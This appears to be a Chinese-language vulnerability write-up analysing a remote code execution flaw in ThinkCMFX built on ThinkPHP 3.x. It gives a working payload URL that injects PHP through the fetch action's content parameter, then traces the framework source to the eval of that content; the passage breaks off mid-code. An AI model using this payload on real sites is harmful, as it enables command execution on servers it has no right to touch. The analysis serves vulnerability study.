前言:最近爆出来的漏洞,ThinkCmfX版本应该是通杀的,基于3.X Thinkphp开发的
我们就拿这个payload来进行分析
http://127.0.0.1/index.php?a=fetch&content=<?php system(‘ping xxxxxx’);?>
我们要知道tp框架的特性,可以通过这种形式的路由方式进行访问相应的功能点,例如通过g\m\a参数指定分组\控制器\方法
我们可以跟进父类的fetch的方法中查看
发现还调用了父类的fetch方法return parent::fetch($templateFile,$content,$prefix);,那我们可以继续来到AppframeController,但是发现里面没有fetch那么就肯定是继承来自Controller的控制器了,继续跟进
发现调用了view类的fetch方法继续更,这里的view类是Controller构造函数中$this->view = Think::instance('Think\View');
view类中的fetch方法如下:
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) { //首先判断content有无内容
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
// 走的是这里
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);